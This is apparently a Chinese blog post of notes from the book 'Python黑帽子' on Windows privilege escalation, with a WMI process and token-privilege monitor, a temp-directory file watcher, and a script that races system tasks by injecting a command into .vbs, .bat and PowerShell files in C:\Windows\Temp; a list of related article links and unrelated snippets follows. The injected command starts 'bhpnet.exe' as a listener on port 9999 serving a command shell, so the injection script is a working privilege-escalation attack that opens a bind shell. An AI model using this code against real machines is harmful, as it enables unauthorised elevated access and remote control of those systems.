利用WMI监视进程

  1. #coding=utf-8
  2. import win32con
  3. import win32api
  4. import win32security
  5.  
  6. import wmi
  7. import sys
  8. import os
  9.  
  10. def log_to_file(message):
  11. fd = open("process_monitor_log.csv","ab")
  12. fd.write("%s\r\n"%message)
  13. fd.close()
  14.  
  15. return
  16.  
  17. #创建一个日志文件的头
  18. log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")
  19.  
  20. #初始化WMI接口
  21. c= wmi.WMI()
  22.  
  23. #创建进程监控器
  24. process_watcher = c.Win32_Process.watch_for("creation")
  25.  
  26. while True:
  27. try:
  28. new_process = process_watcher()
  29.  
  30. proc_owner = new_process.GetOwner()
  31. proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])
  32. create_data = new_process.CreationDate
  33. executable = new_process.ExecutablePath
  34. cmdline = new_process.CommandLine
  35. pid = new_process.ProcessId
  36. parent_pid = new_process.ParentProcessId
  37. privileges = "N/A"
  38.  
  39. process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges)
  40.  
  41. print process_log_message
  42.  
  43. log_to_file(process_log_message)
  44.  
  45. except:
  46. pass

Windows系统的令牌权限

Windows系统的令牌是指:“一个包含进程或线程上下文安全信息的对象”。

1、SeBackupPrivilege:使得用户进程可以备份文件和目录,读取任何文件而无须关注它的访问控制列表(ACL)。

2、SeDebugPrivilege:使得用户进程可以调试其他进程,当然包括获取进程句柄以便将DLL或者代码插入到运行的进程中去。

3、SeLoadDriver:使得用户进程可以加载或者卸载驱动。

  1. #coding=utf-8
  2. import win32con
  3. import win32api
  4. import win32security
  5.  
  6. import wmi
  7. import sys
  8. import os
  9.  
  10. def get_process_privileges(pid):
  11. try:
  12. #获取目标进程的句柄
  13. hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid)
  14.  
  15. #打开主进程的令牌
  16. htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)
  17.  
  18. #解析已启用权限的列表
  19. privs = win32security.GetTokenInformation(htok,win32security.TokenPrivileges)
  20.  
  21. #迭代每个权限并输出其中已经启用的
  22. priv_list = ""
  23. for i in privs:
  24. #检测权限是否已经启用
  25. if i[1] == 3:
  26. priv_list += "%s|" % win32security.LookupPrivilegeName(None,i[0])
  27. except Exception as e:
  28. priv_list = "N/A"
  29.  
  30. return priv_list
  31.  
  32. def log_to_file(message):
  33. fd = open("process_monitor_log.csv","ab")
  34. fd.write("%s\r\n"%message)
  35. fd.close()
  36.  
  37. return
  38.  
  39. #创建一个日志文件的头
  40. log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")
  41.  
  42. #初始化WMI接口
  43. c= wmi.WMI()
  44.  
  45. #创建进程监控器
  46. process_watcher = c.Win32_Process.watch_for("creation")
  47.  
  48. while True:
  49. try:
  50. new_process = process_watcher()
  51.  
  52. proc_owner = new_process.GetOwner()
  53. proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])
  54. create_data = new_process.CreationDate
  55. executable = new_process.ExecutablePath
  56. cmdline = new_process.CommandLine
  57. pid = new_process.ProcessId
  58. parent_pid = new_process.ParentProcessId
  59. privileges = get_process_privileges(pid)
  60.  
  61. process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges)
  62.  
  63. print process_log_message
  64.  
  65. log_to_file(process_log_message)
  66.  
  67. except:
  68. pass

赢得竞争

有些软件会把文件复制到一个临时目录下,等执行完之后就删除它。为了在这种条件下要进行权限漏洞的利用,必须在和目标程序执行脚本的竞争中占先。

当软件或计划任务创建文件的时候,必须能够在进程执行和删除文件之前插入代码。这里可以使用ReadDirectoryChangesW()函数来实现,可以让我们监控一个目录中的任何文件或者子目录的变化。

  1. #coding=utf-8
  2. import tempfile
  3. import threading
  4. import win32file
  5. import win32con
  6. import os
  7.  
  8. #这些是典型的临时文件所在的路径
  9. dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()]
  10.  
  11. #文件修改行为对应的常量
  12. FILE_CREATED = 1
  13. FILE_DELETED = 2
  14. FILE_MODIFIED = 3
  15. FILE_RENAMED_FROM = 4
  16. FILE_RENAMED_TO = 5
  17.  
  18. def start_monitor(path_to_watch):
  19. #为每个监控器起一个线程
  20. FILE_LIST_DIRECTORY = 0x0001
  21.  
  22. h_directory = win32file.CreateFile(
  23. path_to_watch,
  24. FILE_LIST_DIRECTORY,
  25. win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
  26. None,
  27. win32con.OPEN_EXISTING,
  28. win32con.FILE_FLAG_BACKUP_SEMANTICS,
  29. None)
  30.  
  31. while 1:
  32. try:
  33. results = win32file.ReadDirectoryChangesW(
  34. h_directory,
  35. 1024,
  36. True,
  37. win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,
  38. None,
  39. None
  40. )
  41.  
  42. for action,file_name in results:
  43. full_filename = os.path.join(path_to_watch,file_name)
  44.  
  45. if action == FILE_CREATED:
  46. print "[+] Created %s"%full_filename
  47. elif action == FILE_DELETED:
  48. print "[+] Deleted %s"%full_filename
  49. elif action == FILE_MODIFIED:
  50. print "[+] Modified %s"%full_filename
  51.  
  52. #输出文件内容
  53. print "[vvv] Dumping contents..."
  54.  
  55. try:
  56. fd = open(full_filename,"rb")
  57. contents = fd.read()
  58. fd.close()
  59. print contents
  60. print "[^^^] Dump complete."
  61. except:
  62. print "[!!!] Failed."
  63. elif action == FILE_RENAMED_FROM:
  64. print "[>] Renamed from: %s"%full_filename
  65. elif action == FILE_RENAMED_TO:
  66. print "[>] Renamed to: %s"%full_filename
  67. else:
  68. print "[???] Unknown: %s"%full_filename
  69. except:
  70. pass
  71.  
  72. for path in dirs_to_monitor:
  73. monitor_thread = threading.Thread(target=start_monitor,args=(path,))
  74. print "Spawning monitoring thread for path: %s"%path
  75. monitor_thread.start()

代码插入

  1. #coding=utf-8
  2. import tempfile
  3. import threading
  4. import win32file
  5. import win32con
  6. import os
  7.  
  8. #这些是典型的临时文件所在的路径
  9. dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()]
  10.  
  11. #文件修改行为对应的常量
  12. FILE_CREATED = 1
  13. FILE_DELETED = 2
  14. FILE_MODIFIED = 3
  15. FILE_RENAMED_FROM = 4
  16. FILE_RENAMED_TO = 5
  17.  
  18. file_types = {}
  19.  
  20. command = "C:\\Windows\\Temp\\bhpnet.exe -l -p 9999 -c"
  21. file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n"%command]
  22.  
  23. file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n"%command]
  24. file_types['.psl'] = ["\r\n#bhpmarker","Start-Process \"%s\"\r\n"%command]
  25.  
  26. #用于执行代码插入的函数
  27. def inject_code(full_filename,extension,contents):
  28. #判断文件是否存在标记
  29. if file_types[extension][0] in contents:
  30. return
  31.  
  32. #如果没有标记的话,那么插入代码并标记
  33. full_contents = file_types[extension][0]
  34. full_contents += file_types[extension][1]
  35. full_contents += contents
  36.  
  37. fd = open(full_filename,"wb")
  38. fd.write(full_contents)
  39. fd.close()
  40.  
  41. print "[\o/] Injected code."
  42.  
  43. return
  44.  
  45. def start_monitor(path_to_watch):
  46. #为每个监控器起一个线程
  47. FILE_LIST_DIRECTORY = 0x0001
  48.  
  49. h_directory = win32file.CreateFile(
  50. path_to_watch,
  51. FILE_LIST_DIRECTORY,
  52. win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
  53. None,
  54. win32con.OPEN_EXISTING,
  55. win32con.FILE_FLAG_BACKUP_SEMANTICS,
  56. None)
  57.  
  58. while 1:
  59. try:
  60. results = win32file.ReadDirectoryChangesW(
  61. h_directory,
  62. 1024,
  63. True,
  64. win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,
  65. None,
  66. None
  67. )
  68.  
  69. for action,file_name in results:
  70. full_filename = os.path.join(path_to_watch,file_name)
  71.  
  72. if action == FILE_CREATED:
  73. print "[+] Created %s"%full_filename
  74. elif action == FILE_DELETED:
  75. print "[+] Deleted %s"%full_filename
  76. elif action == FILE_MODIFIED:
  77. print "[+] Modified %s"%full_filename
  78.  
  79. #输出文件内容
  80. print "[vvv] Dumping contents..."
  81.  
  82. try:
  83. fd = open(full_filename,"rb")
  84. contents = fd.read()
  85. fd.close()
  86. print contents
  87. print "[^^^] Dump complete."
  88. except:
  89. print "[!!!] Failed."
  90.  
  91. filename,extension = os.path.splitext(full_filename)
  92.  
  93. if extension in file_types:
  94. inject_code(full_filename,extension,contents)
  95.  
  96. elif action == FILE_RENAMED_FROM:
  97. print "[>] Renamed from: %s"%full_filename
  98. elif action == FILE_RENAMED_TO:
  99. print "[>] Renamed to: %s"%full_filename
  100. else:
  101. print "[???] Unknown: %s"%full_filename
  102. except:
  103. pass
  104.  
  105. for path in dirs_to_monitor:
  106. monitor_thread = threading.Thread(target=start_monitor,args=(path,))
  107. print "Spawning monitoring thread for path: %s"%path
  108. monitor_thread.start()

《Python黑帽子:黑客与渗透测试编程之道》 Windows系统提权的更多相关文章

  1. python黑帽子-黑客与渗透测试编程之道(源代码)

    链接: https://pan.baidu.com/s/1i5BnB5V   密码: ak9t

  2. 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道

    Python黑帽子  黑客与渗透测试编程之道   <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...

  3. 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道

    python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...

  4. 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理

    下载jython,在Burpsuite的扩展中配置jython路径: Burp模糊测试: #!/usr/bin/python #coding=utf-8 # 导入三个类,其中IBurpExtender ...

  5. 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击

    Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...

  6. 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者

    窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import * #数据包回调函数 def packet_callbac ...

  7. 《Python黑帽子:黑客与渗透测试编程之道》 网络基础

    TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...

  8. 《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器

    基于浏览器的中间人攻击: #coding=utf-8 import win32com.client import time import urlparse import urllib data_rec ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能

    有趣的键盘记录: 安装pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...

  10. 《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制

    GitHub账号设置: 这部分按书上来敲命令即可,当然首先要注册一个GitHub账号还有之前安装的GitHub API库(pip install github3.py),这里就只列一下命令吧: mkd ...

随机推荐

  1. 关于 construct object opp

    constructor 定义和用法 constructor 属性返回对创建此对象的数组函数的引用. 语法 object.constructor 实例 例子 1 在本例中,我们将展示如何使用 const ...

  2. 使用UIkit的uk-form-icon后input框无法输入的问题

    相关版本UIkit2.27.5 uikit.min.css默认使用uk-form-icon的属性pointer-events: none:因此表框无法点击. <style type=text/c ...

  3. canvas 实现时钟效果

    var clock = document.getElementById('clock'); var cxt = clock.getContext('2d'); function drawClock() ...

  4. kbmmw 的远程桌面功能2-android手机端

    前面讲了PC 端的远程操作,今天讲一下如何用手机控制远程桌面(真的能操作的很爽吗?), 要使手机可以远程控制,首先在在kbmmwconfig.inc 文件里面加入FMX 支持 {$DEFINE KBM ...

  5. 使用delphi-cross-socket 开发kbmmw smart http service

    前几天我说了使用delphi-cross-socket 扩展kbmmw 的跨平台支持,今天我说一下使用 kbmMWCrossScoketHttpServerTransport 在linux 下支持 k ...

  6. dex2jar 和 jd-gui 的安装与使用(转)

    出处:https://blog.csdn.net/katrinawj/article/details/80016315 将APK直接解压(修改后缀名为.zip,然后解压)后,可以看到目录下包含一个cl ...

  7. java常用设计模式二:工厂模式

    1.简单工厂模式(静态工厂方法模式) 抽象实例: public interface People { void talk(); } 具体实例: public class Doctor implemen ...

  8. Mybatis-Plus 实战完整学习笔记(四)------全局参数配置

    一.全局配置设置 (1)全局配置Id自动生成 <!--定义mybatisplus全局配置--> <bean id="globalConfig" class=&qu ...

  9. asp.net微信支付发起页面jsapi.aspx

    jsapi.aspx 后台核心代码 //创建支付应答对象 RequestHandler packageReqHandler = new RequestHandler(Context); //初始化 p ...

  10. linux内核链表使用

    原文链接:http://blog.csdn.net/xnwyd/article/details/7359373 Linux内核链表的核心思想是:在用户自定义的结构A中声明list_head类型的成员p ...